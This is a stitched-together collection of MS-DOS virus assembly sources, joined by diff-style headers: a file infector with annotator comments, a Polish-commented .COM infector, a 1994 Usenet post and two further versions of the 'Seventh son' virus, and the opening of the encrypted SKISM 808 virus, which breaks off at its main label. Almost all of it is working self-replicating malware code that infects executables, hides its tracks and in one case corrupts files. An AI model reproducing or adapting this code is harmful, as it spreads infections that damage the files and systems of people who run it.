jc find_first_subdir
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Test on infection.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
check_if_ill:
mov ah,3Dh ; open channel
mov al,2 ; read/write
mov dx,9Eh ; address of name in dta
int 21h
mov bx,ax ; save channel
mov ah,3Fh ; read file
mov cx,buflen
mov dx,buffer ; write in buffer
int 21h
mov ah,3Eh ; close file
int 21h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Test if the three NOPs of 'VIRUS' are present. If so, the file is already
; infected, continue searching.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
mov bx,cs:[buffer]
cmp bx,9090h
jz find_next_file
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Erase the write-protection attribute from MS-DOS.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
mov ah,43h ; write enable
mov al,0
mov dx,9Eh ; address of name in dta
int 21h
mov ah,43h
mov al,1
and cx,0FEh
int 21h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Open file for writing/reading.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
mov ah,3Dh ; open channel
mov al,2 ; read/write
mov dx,9Eh ; address of name in dta
int 21h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Store date of file for later use.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
mov bx,ax ; channel
mov ah,57h ; get date
mov al,0
int 21h
push cx ; save data
push dx
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Save the original jump from program.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
mov dx,cs:[conta] ; save old jmp
mov cs:[jmpbuf],dx
mov dx,cs:[buffer+1] ; save new jump
lea cx,cs:cont-100h
sub dx,cx
mov cs:[conta],dx
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; 'VIRUS' copies itself to the beginning of a file.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
mov ah,40h ; write virus
mov cx,buflen ; length buffer
lea dx,main ; write virus
int 21h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Restore the old file-date.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
mov ah,57h ; write date
mov al,1
pop dx
pop cx ; restore date
int 21h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Close file.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
mov ah,3Eh ; close file
int 21h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Restore the old jump-address. 'VIRUS' stores at address 'conta' the jump
; which was at the beginning of the host-program. This will keep the host-
; program as much executable as possible. After storing the address, it
; works with the jumpaddress of 'VIRUS'. 'VIRUS' will thus be in the
; work-memory of the program.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
mov dx,cs:[jmpbuf] ; restore old jmp
mov cs:[conta],dx
hops:
nop
call use_old
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Continue the execution of the host-program.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
cont db 0e9h
conta dw 0
mov ah,00
int 21h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Activate the diskdrive choosen at the entry of the program.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
use_old:
mov ah,0eh ; use old drive
mov dl,cs:drive
int 21h
;ßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßßß
; Activate the path choosen at the entry of the program.
;ÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜ
mov ah,3Bh ; use old dir
lea dx,cs:[1FDh] ; get old path and
; backslash
int 21h
ret
search_order db 0FFh,1,0,2,3,0FFh,0,0FFh
pointer dw 0000
counter dw 0000
disks db 0
mask_com db "*.com",00 ; search for com-files
mask_dir db "*",00 ; search for dirs
mask_exe db 0FFh, 0, 0, 0, 0, 0, 3Fh
db 0,"????????exe",0,0,0,0
db 0,"????????com",0
mask_all db 0FFh, 0, 0, 0, 0, 0, 3Fh
db 0,"???????????",0,0,0,0
db 0,"????????com",0
;; mask_all is never used by the code and easilly can be ommited
;; to shorten the code
buffer equ 0e000h ; a save place
buflen equ 230h ; length of virus
;; At this place I disagree with Ralf. The actual length of the virus
;; is 21Dh bytes when compiled in MASM and 219h bytes when compiled
;; in A86. Because it was Ralf's intention to compile this in MASM
;; 21Dh should be the original length.
jmpbuf equ buffer+buflen ; a save place for jmp
path db "\",0 ; first path
drive db 0 ; actual drive
back_slash db "\"
;; This variable is never used in the code and easilly can be ommited
;; to shorten the code.
old_path db 32 dup (?) ; old path
code ends
end main
@@ -0,0 +1,324 @@
; Kod ¦r˘dowy wirusa nieznanego autorstwa. Widoczne s† silne wpywy 648.
; Dodano wasne komentarze wskazuj†ce na r˘§nice midzy t† wersj† i oryginaem.
; Komentarze te poprzedzane s† znakami AK:.
; Tekst znaleziony na dysku komputera FIDO w PC Kurierze 28 wrzežnia 1990.
comment ;
**********************************************************
wszystkie adresy w programie sa uzywane jako wzgledne
do rejestru si ,nie mozna urzywac adresow bezwzglednych
jako offset poniewaz po 'doklejeniu sie do programu
moze on byc w roznych miejscach
**********************************************************
;
adr_baz equ offset stare_DTA ;adres bazowy poczatku zmiennych
;w programie wzgledem niego beda
;obliczane przesuniecia pol zmiennych
start_prg equ 100h ;adres poczatku programu typu .com
ofst_rozk equ offset rozkazy - adr_baz ;przsuniecie pola rozkazy
get_dta_addr equ 2fh ;funkcja dos pobranie adresu DTA
msdos equ 21h
write equ 40h
wirus_len equ DTA + 43 - start
code segment byte public 'code'
assume cs:code,ds:code,es:code
org 100h
st1: jmp short start
int msdos
start: mov dx,offset stare_DTA
cld ;ustawienie kierunku przesylania
mov si,dx ;poczatek zmiennych programu
add si,ofst_rozk ;adres pola rozkazy
mov di,100h ;adres pod ktorym jest poczatek programu
mov cx,3 ;ilosc bajtow do przeslania
repz movsb ;odtworzenie starego poczatku
mov si,dx ;odtworzenie si
; AK: pominito badanie wersji DOS
push es ;zachowanie es bo bedzie zmieniane
mov ah,get_dta_addr ;pobierz adres DTA
int msdos
mov [si],bx ;zapamietanie adresu DTA w polu
mov [si+2],es ;stare_DTA
pop es ;odtworzenie es
mov dx,5Fh ;adres pola DTA
add dx,si
mov ah,1Ah ;ustaw adres DTA ds:dx
int msdos
; AK: zmieniona jest kolejnožŤ instrukcji, teraz do przechowania SI u§yto
; DX zamiast stosu
push es ;zachowanie es
push si ;zachowaj si
add si,1ah ;adres tekstu PATH=
mov dx,si
mov es,ds:[2Ch] ;adres srodowiska set
; AK: w oryginale jest to PUSH SI, POP SI
mov di,0
szukaj_dalej:
mov si,dx
lodsb
mov cx,8000h ;dlugosc srodowiska
repnz scasb ;szukanie litery P
mov cx,4 ;dlugosc reszty ATH=
porownuj:
lodsb
scasb
jnz szukaj_dalej
loop porownuj
pop si ;odtworz rejestry
pop es
mov [si+16h],di ;adres pierwszego bajtu za PATH=
mov di,si
add di,1Fh ;adres bufora dla nazwy zbioru
mov bx,si
jmp short dalej
nast_sciezka:
cmp word ptr[si+16h],0 ;czy koniec path
jnz l1 ;nie
jmp exit1 ;zakoncz nie ma wiecej zbiorow
l1: push ds
push si
mov ds,es:[2Ch] ;urzywamy es: bo ds bedzie modyfikowany
mov di,si
mov si,es:[di+16h]
add di,1Fh
next: lodsb ;zaladuj kolejny znak sciezki dostepu
cmp al,';' ;czy koniec definicji scierzki
jz koniec_sciezki
cmp al,0 ;czy koniec lancucha path
jz koniec_set
stosb ;przepisz znak do bufora
jmp short next
koniec_set:
mov si,0
koniec_sciezki:
pop bx
pop ds
mov [bx+16h],si ;adres do ktorego przeszukano path
cmp byte ptr [di-1],'\' ;czy scierzka zakonczona przez \
jz dalej
mov al,'\'
stosb ;dopisz \
dalej: mov [bx+18h],di
mov si,bx
add si,10h
mov cx,6
repz movsb ;przepisanie *.com \0
mov si,bx
mov ah,4Eh ;find first
mov dx,1Fh
add dx,si
mov cx,3 ;ukryty tylko do odczytu
int msdos
jmp short czy_jest
szuk_nast:
mov ah,4Fh ;find next
int msdos
czy_jest:
jnc jest
jmp short nast_sciezka
jest: mov ax,[si+75h] ;pole zawierajace czas w DTA
and al,1Fh ;czy sa 62 sekundy
cmp al,1Fh
jz szuk_nast
cmp word ptr [si+79h],0FA00h
ja szuk_nast ;jesli zbyt dlugi
cmp word ptr [si+79h],10
jc szuk_nast
mov di,[si+18h]
push si
add si,7Dh
kopiuj:
lodsb ;kopiuje nazwe zbioru
stosb ;nazwa w postaci ASCIIZ
cmp al,0 ;czy koniec nazwy
jnz kopiuj
pop si
mov ax,4300h ;pobierz atrybuty zbioru
mov dx,1Fh
add dx,si
int msdos
mov [si+8],cx ;zapamietanie atrybutow
mov ax,4301h ;ustaw atrybuty
and cx,0FFFEh ;usuwa ewentualne r/o
mov dx,1Fh
add dx,si
int msdos
mov ax,3D02h ;otwarcie zbioru
mov dx,1Fh
add dx,si
int msdos
jnc l2 ;czy poprawne otwarcie
jmp exit2
l2: mov bx,ax
mov ax,5700h ;pobierz czas i date powstania zbioru
int msdos
mov [si+4],cx ;czas
mov [si+6],dx ;data
mov ah,2Ch ;pobierz czas systemowy
int msdos
and dh,7 ;sekundy
jnz zostaw
comment ;
**********************************************************
tutaj mozna umiescic dowolna procedure uszkadzajaca zbior
ta wywolywana jest losowo jesli ostatnie trzy bity sekund
zegara systemu sa rowne zero np. 8,16,24 itd.
**********************************************************
;
mov ah,write ;zapis do zbioru
mov cx,5 ;pieciu bajtow lezacych
mov dx,si ;juz poza programem czyli
add dx,8Ah ;faktycznie dowolnych
int msdos
jmp exit3
;*********************************************************
;koniec procedury uszkadzajacej zbior
;*********************************************************
zostaw: mov ah,3Fh ;odczyt trzech pierwszych
mov cx,3 ;bajtow z pliku
mov dx,ofst_rozk ;do pola rozkazy
add dx,si
int msdos
jc exit3 ;jesli byl blad czytania
cmp ax,3 ;czy odczytano dokladnie
jnz exit3 ;trzy bajty
mov ax,4202h ;przewiniecie zbioru na koniec
mov cx,0
mov dx,0
int msdos
jc exit3 ;jesli blad
mov cx,ax ;w ax dlugosc zbioru
sub ax,3
;obiczanie przesuniecia dla skoku do poczatku wirusa
;jest to adres konca zbioru minus 3 poniewaz
;jmp jest trzy bajtowy
mov [si+0Eh],ax ;zapis adresu w polu skok
add cx,adr_baz - start + start_prg
;obliczanie adresu poczatku danych (tego ktory jest w si)
;jest to adres pola stare_DTA + 100h przesuniecia programu
mov di,si
sub di,adr_baz - start - 1
mov [di],cx ;zapisanie adresu bezposrednio w pole
;w pole rozkazu mov dx,offset
mov ah,write ;dopisanie wirusa na koniec
mov cx,wirus_len ;dlugosc wirusa
mov dx,si
sub dx,adr_baz - start ;obliczenie adresu poczatku wirusa
int msdos
jc exit3 ;jesli blad
cmp ax,wirus_len ;czy zapisano calego wirusa
jnz exit3
mov ax,4200h ;przewiniecie zbioru na poczatek
mov cx,0
mov dx,0
int msdos
jc exit3 ;jesli blad
mov ah,write ;zapis jmp do wirusa
mov cx,3 ;na poczatku
mov dx,si
add dx,0Dh ;pole skok
int msdos
exit1: mov dx,[si+6] ;data
mov cx,[si+4] ;czas
or cx,1Fh ;zaznaczenie ze zbior jest zarazony
;ilosc sekund = 62
mov ax,5701h ;zapis daty i czasu do zbioru
int msdos
mov ah,3Eh ;zamkniecie zbioru
int msdos
exit2: mov ax,4301h ;ustawienie atrybutow
mov cx,[si+8] ;stare atrybuty
mov dx,001Fh
add dx,si
int msdos
exit3: push ds
mov ah,1Ah ;ustaw adres DTA
mov dx,[si+0] ;pole stare_DTA
mov ds,es:[si+2]
int msdos
pop ds
xor ax,ax ;zerowanie rejestrow
xor bx,bx
xor dx,dx
xor si,si
mov di,0100h ;na stos adres startu
push di
xor di,di
ret
stare_DTA dd 0
czas_zb dw 0
data_zb dw 0
attr_zb dw 0
rozkazy db 0b4h,4ch,0cdh
skok db 0e9h,0,0 ;kod rozkazu jmp
zbior db '*.com',0
srodow dw 0 ;adres srodowiska set
bufor dw 0 ;wskaznik do nazwy zbioru
path db 'PATH='
nazwa_zb db 63 dup(0) ;pole na nazwe zbioru
DTA db 43 dup(0) ;pole dta
code ends
end st1

@@ -0,0 +1,251 @@
From netcom.com!ix.netcom.com!netnews Tue Nov 29 09:42:48 1994
Xref: netcom.com alt.comp.virus:506
Path: netcom.com!ix.netcom.com!netnews
From: Zeppelin@ix.netcom.com (Mr. G)
Newsgroups: alt.comp.virus
Subject: 7th Son Virus
Date: 29 Nov 1994 13:02:59 GMT
Organization: Netcom
Lines: 236
Distribution: world
Message-ID: <3bf8q3$iaj@ixnews1.ix.netcom.com>
References: <sbringerD00yHv.Hs3@netcom.com> <bradleymD011vJ.Lp8@netcom.com>
NNTP-Posting-Host: ix-pas2-10.ix.netcom.com
;***********************************************************************
*****
;* Seventh son of a seventh son version 4
;*
;* Compile with MASM 4.0
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* This file is only for educational purposes. The author takes no
;* responsibility for anything anyone does with this file. Do not
;* modify this file!
;***********************************************************************
*****
cseg segment
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
.RADIX 16
FILELEN equ end - start
MINTARGET equ 1000d
MAXTARGET equ -(FILELEN+40)
;***********************************************************************
*****
;* Dummy program (infected)
;***********************************************************************
*****
org 100
begin: db 4Dh ;virus mark
db 0E9h, 4, 0 ;jump to virus entry
;***********************************************************************
*****
;* Begin of the virus
;***********************************************************************
*****
start: db 0CDh, 20h, 0, 0
cld
mov si,0100h
push si ;push new IP on stack
mov di,si
add si,[si+2] ;si -> start
push si ;restore original begin
movsw
movsw
pop si
mov ax,3300h ;get ctrl-break flag
int 21
push dx
cwd ;clear the flag
inc ax
push ax
int 21
mov ax,3524h ;get int24 vector
int 21
push bx
push es
lea dx,[si+(offset ni24 - 0104)] ;set new int24
vector
mov ah,25h
push ax
int 21
mov ah,2Fh ;get DTA adres
int 21
push es
push bx
add dx,070h ;set new DTA adres
mov ah,1Ah
int 21
add dx,1Eh
push dx
lea di,[si+(offset generation-0104)] ;check
generation
cmp [di],0707h
jne verder
lea dx,[di+2] ;7th son of a 7th son!
mov ah,09h
int 21
verder: mov ax,[di] ;update generations
xchg ah,al
mov al,1
mov [di],ax
lea dx,[di+33d] ;find first COM-file
xor cx,cx
mov ah,4Eh
infloop: int 21
pop dx
jc stop
push dx
xor cx,cx ;clear
read-only-arttribute
mov ax,4301
int 21
jc return1
mov ax,3D02h ;open the file
int 21
jc return1
xchg bx,ax
mov ax,5700h ;get file date & time
int 21
push cx
push dx
mov cx,4 ;read begin of file
mov dx,si
mov ah,3fh
int 21
cmp byte ptr [si],4Dh ;already infected or an
EXE?
je return2
cmp byte ptr [si],5Ah ;or a weird EXE?
je return2
mov al,2 ;go to end of file
call seek
cmp ax,MAXTARGET ;check length of file
jnb return2
cmp ax,MINTARGET
jbe return2
push ax
mov cx,FILELEN ;write program to end of
file
mov ah,40h
int 21
cmp ax,cx ;are all bytes written?
pop ax
jnz return2
xchg ax,bp
mov al,0 ;go to begin of file
call seek
mov word ptr [si],0E94Dh ;write mark and
jump-command
mov word ptr [si+2],bp
mov ah,40h
int 21
inc byte ptr [di] ;number of next son
return2: pop dx ;restore file date &
time
pop cx
mov ax,5701h
int 21
mov ah,3Eh ;close the file
int 21
return1: mov ah,4Fh ;find next file
jmp short infloop
stop: pop dx ;restore DTA adres
pop ds
mov ah,1Ah
int 21
pop ax ;restore int24 vector
pop ds
pop dx
int 21
pop ax ;restore ctrl-break flag
pop dx
int 21
push cs
push cs
pop ds
pop es
ret
seek: mov ah,42
cwd
int21: xor cx,cx
int 21
mov cl,4
mov dx,si
ret
;***********************************************************************
*****
;* Interupt handler 24
;***********************************************************************
*****
ni24: mov al,03
iret
;***********************************************************************
*****
;* Data
;***********************************************************************
*****
generation db 1,1
sontxt db 'Seventh son of a seventh son',0Dh, 0Ah, '$'
filename db '*.COM',0
db '‚¨°³±'
end:
cseg ends
end begin
@@ -0,0 +1,232 @@
;****************************************************************************
;* Seventh son of a seventh son version 2
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
FILELEN equ end - start
MINTARGET equ 1000
MAXTARGET equ -(FILELEN+40h)
org 100h
.RADIX 16
;****************************************************************************
;* Dummy program (infected)
;****************************************************************************
begin: db 4Dh
jmp start
;****************************************************************************
;* Begin of the virus
;****************************************************************************
start: call start2
start2: pop bp
sub bp,0103h
lea si,[bp+offset begbuf-4] ;restore begin of file
mov di,0100h
movsw
movsw
mov ax,3300h ;get ctrl-break flag
int 21
push dx
xor dl,dl ;clear the flag
mov ax,3301h
int 21
mov ax,3524h ;get int24 vector
int 21
push bx
push es
mov dx,offset ni24 - 4 ;set new int24 vector
add dx,bp
mov ax,2524h
int 21
lea dx,[bp+offset end] ;set new DTA adres
mov ah,1Ah
int 21
add dx,1Eh
mov word ptr [bp+offset nameptr-4],dx
lea si,[bp+offset grandfather-4] ;check generation
cmp [si],0606h
jne verder
lea dx,[bp+offset sontxt-4] ;7th son of a 7th son!
mov ah,09h
int 21
verder: mov ax,[si] ;update generations
xchg ah,al
xor al,al
mov [si],ax
lea dx,[bp+offset filename-4] ;find first COM-file
xor cx,cx
mov ah,4Eh
int 21
infloop: mov dx,word ptr [bp+offset nameptr-4]
call infect
mov ah,4Fh ;find next file
int 21
jnc infloop
pop ds ;restore int24 vector
pop dx
mov ax,2524h
int 21
pop dx ;restore ctrl-break flag
mov ax,3301h
int 21
push cs
push cs
pop ds
pop es
mov ax,0100h ;put old start-adres on stack
push ax
ret
;****************************************************************************
;* Tries to infect the file (ptr to ASCIIZ-name is DS:DX)
;****************************************************************************
infect: cld
mov ax,4300h ;ask attributes
int 21
push cx
xor cx,cx ;clear flags
call setattr
jc return1
mov ax,3D02h ;open the file
int 21
jc return1
xchg bx,ax
mov ax,5700h ;get file date & time
int 21
push cx
push dx
mov cx,4 ;read begin of file
lea dx,[bp+offset begbuf-4]
mov ah,3fh
int 21
mov al,byte ptr [bp+begbuf-4] ;already infected?
cmp al,4Dh
je return2
cmp al,5Ah ;or a weird EXE?
je return2
call endptr ;get file-length
cmp ax,MAXTARGET ;check length of file
jnb return2
cmp ax,MINTARGET
jbe return2
push ax
mov cx,FILELEN ;write program to end of file
lea dx,[bp+offset start-4]
mov ah,40h
int 21
cmp ax,cx ;are all bytes written?
pop ax
jnz return2
sub ax,4 ;calculate new start-adres
mov word ptr [bp+newbeg-2],ax
call beginptr ;write new begin of file
mov cx,4
lea dx,[bp+offset newbeg-4]
mov ah,40h
int 21
inc byte ptr [si] ;number of next son
return2: pop dx ;restore file date & time
pop cx
mov ax,5701h
int 21
mov ah,3Eh ;close the file
int 21
return1: pop cx ;restore file-attribute
; call setattr
; ret
;****************************************************************************
;* Changes file-attributes
;****************************************************************************
setattr: mov dx,word ptr [bp+offset nameptr-4]
mov ax,4301h
int 21
ret
;****************************************************************************
;* Subroutines for file-pointer
;****************************************************************************
beginptr: mov ax,4200h ;go to begin of file
jmp short ptrvrdr
endptr: mov ax,4202h ;go to end of file
ptrvrdr: xor cx,cx
xor dx,dx
int 21
ret
;****************************************************************************
;* Interupt handler 24
;****************************************************************************
ni24: mov al,03
iret
;****************************************************************************
;* Data
;****************************************************************************
begbuf db 0CDh, 20h, 0, 0
newbeg db 4Dh, 0E9h, 0, 0
nameptr dw ?
sontxt db 'Seventh son of a seventh son',0Dh, 0Ah, '$'
grandfather db 0
father db 0
filename db '*.COM',0
db '‚¨°³±'
end:
cseg ends
end begin

@@ -0,0 +1,218 @@
;****************************************************************************
;* Seventh son of a seventh son version 4
;*
;* Compile with MASM 4.0
;* (other assemblers will probably not produce the same result)
;*
;* Disclaimer:
;* This file is only for educational purposes. The author takes no
;* responsibility for anything anyone does with this file. Do not
;* modify this file!
;****************************************************************************
cseg segment
assume cs:cseg,ds:cseg,es:cseg,ss:cseg
.RADIX 16
FILELEN equ end - start
MINTARGET equ 1000d
MAXTARGET equ -(FILELEN+40)
;****************************************************************************
;* Dummy program (infected)
;****************************************************************************
org 100
begin: db 4Dh ;virus mark
db 0E9h, 4, 0 ;jump to virus entry
;****************************************************************************
;* Begin of the virus
;****************************************************************************
start: db 0CDh, 20h, 0, 0
cld
mov si,0100h
push si ;push new IP on stack
mov di,si
add si,[si+2] ;si -> start
push si ;restore original begin
movsw
movsw
pop si
mov ax,3300h ;get ctrl-break flag
int 21
push dx
cwd ;clear the flag
inc ax
push ax
int 21
mov ax,3524h ;get int24 vector
int 21
push bx
push es
lea dx,[si+(offset ni24 - 0104)] ;set new int24 vector
mov ah,25h
push ax
int 21
mov ah,2Fh ;get DTA adres
int 21
push es
push bx
add dx,070h ;set new DTA adres
mov ah,1Ah
int 21
add dx,1Eh
push dx
lea di,[si+(offset generation-0104)] ;check generation
cmp [di],0707h
jne verder
lea dx,[di+2] ;7th son of a 7th son!
mov ah,09h
int 21
verder: mov ax,[di] ;update generations
xchg ah,al
mov al,1
mov [di],ax
lea dx,[di+33d] ;find first COM-file
xor cx,cx
mov ah,4Eh
infloop: int 21
pop dx
jc stop
push dx
xor cx,cx ;clear read-only-arttribute
mov ax,4301
int 21
jc return1
mov ax,3D02h ;open the file
int 21
jc return1
xchg bx,ax
mov ax,5700h ;get file date & time
int 21
push cx
push dx
mov cx,4 ;read begin of file
mov dx,si
mov ah,3fh
int 21
cmp byte ptr [si],4Dh ;already infected or an EXE?
je return2
cmp byte ptr [si],5Ah ;or a weird EXE?
je return2
mov al,2 ;go to end of file
call seek
cmp ax,MAXTARGET ;check length of file
jnb return2
cmp ax,MINTARGET
jbe return2
push ax
mov cx,FILELEN ;write program to end of file
mov ah,40h
int 21
cmp ax,cx ;are all bytes written?
pop ax
jnz return2
xchg ax,bp
mov al,0 ;go to begin of file
call seek
mov word ptr [si],0E94Dh ;write mark and jump-command
mov word ptr [si+2],bp
mov ah,40h
int 21
inc byte ptr [di] ;number of next son
return2: pop dx ;restore file date & time
pop cx
mov ax,5701h
int 21
mov ah,3Eh ;close the file
int 21
return1: mov ah,4Fh ;find next file
jmp short infloop
stop: pop dx ;restore DTA adres
pop ds
mov ah,1Ah
int 21
pop ax ;restore int24 vector
pop ds
pop dx
int 21
pop ax ;restore ctrl-break flag
pop dx
int 21
push cs
push cs
pop ds
pop es
ret
seek: mov ah,42
cwd
int21: xor cx,cx
int 21
mov cl,4
mov dx,si
ret
;****************************************************************************
;* Interupt handler 24
;****************************************************************************
ni24: mov al,03
iret
;****************************************************************************
;* Data
;****************************************************************************
generation db 1,1
sontxt db 'Seventh son of a seventh son',0Dh, 0Ah, '$'
filename db '*.COM',0
db '‚¨°³±'
end:
cseg ends
end begin

@@ -0,0 +1,306 @@
;tHE sKISM 808 vIRUS. cREATED 1991 BY sMART kIDS iNTO sICK mETHODS.
FILENAME equ 30 ;USED TO FIND FILE NAME
FILEATTR equ 21 ;USED TO FIND FILE ATTRIBUTES
FILEDATE equ 24 ;USED TO FIND FILE DATE
FILETIME equ 22 ;USED TO FIND FILE TIME
CODE_START equ 0100H ;START OF ALL .com FILES
VIRUS_SIZE equ 808 ;tr 808
CODE SEGMENT 'CODE'
ASSUME CS:CODE,DS:CODE,ES:CODE
ORG CODE_START
MAIN PROC NEAR
JMP VIRUS_START
ENCRYPT_VAL DB 00H
VIRUS_START:
CALL ENCRYPT ;ENCRYPT/DECRYPT FILE
JMP VIRUS ;GO TO START OF CODE
ENCRYPT:
PUSH CX
MOV BX,OFFSET VIRUS_CODE ;START ENCRYPTION AT DATA
XOR_LOOP:
MOV CH,[BX] ;READ CURRENT BYTE
XOR CH,ENCRYPT_VAL ;GET ENCRYPTION KEY
MOV [BX],CH ;SWITCH BYTES
INC BX ;MOVE BX UP A BYTE
CMP BX,OFFSET VIRUS_CODE+VIRUS_SIZE
;ARE WE DONE WITH THE ENCRYPTION
JLE XOR_LOOP ;NO? KEEP GOING
POP CX
RET
INFECTFILE:
MOV DX,CODE_START ;WHERE VIRUS STARTS IN MEMORY
MOV BX,HANDLE ;LOAD BX WITH HANDLE
PUSH BX ;SAVE HANDLE ON STACK
CALL ENCRYPT ;ENCRYPT FILE
POP BX ;GET BACK BX
MOV CX,VIRUS_SIZE ;NUMBER OF BYTES TO WRITE
MOV AH,40H ;WRITE TO FILE
INT 21H ;
PUSH BX
CALL ENCRYPT ;FIX UP THE MESS
POP BX
RET
VIRUS_CODE:
WILDCARDS DB "*",0 ;SEARCH FOR DIRECTORY ARGUMENT
FILESPEC DB "*.exe",0 ;SEARCH FOR exe FILE ARGUMENT
FILESPEC2 DB "*.*",0
ROOTDIR DB "\",0 ;ARGUMENT FOR ROOT DIRECTORY
DIRDATA DB 43 DUP (?) ;HOLDS DIRECTORY dta
FILEDATA DB 43 DUP (?) ;HOLDS FILES dta
DISKDTASEG DW ? ;HOLDS DISK DTA SEGMENT
DISKDTAOFS DW ? ;HOLDS DISK DTA OFFSET
TEMPOFS DW ? ;HOLDS OFFSET
TEMPSEG DW ? ;HOLDS SEGMENT
DRIVECODE DB ? ;HOLDS DRIVE CODE
CURRENTDIR DB 64 DUP (?) ;SAVE CURRENT DIRECTORY INTO THIS
HANDLE DW ? ;HOLDS FILE HANDLE
ORIG_TIME DW ? ;HOLDS FILE TIME
ORIG_DATE DW ? ;HOLDS FILE DATE
ORIG_ATTR DW ? ;HOLDS FILE ATTR
IDBUFFER DW 2 DUP (?) ;HOLDS VIRUS ID
VIRUS:
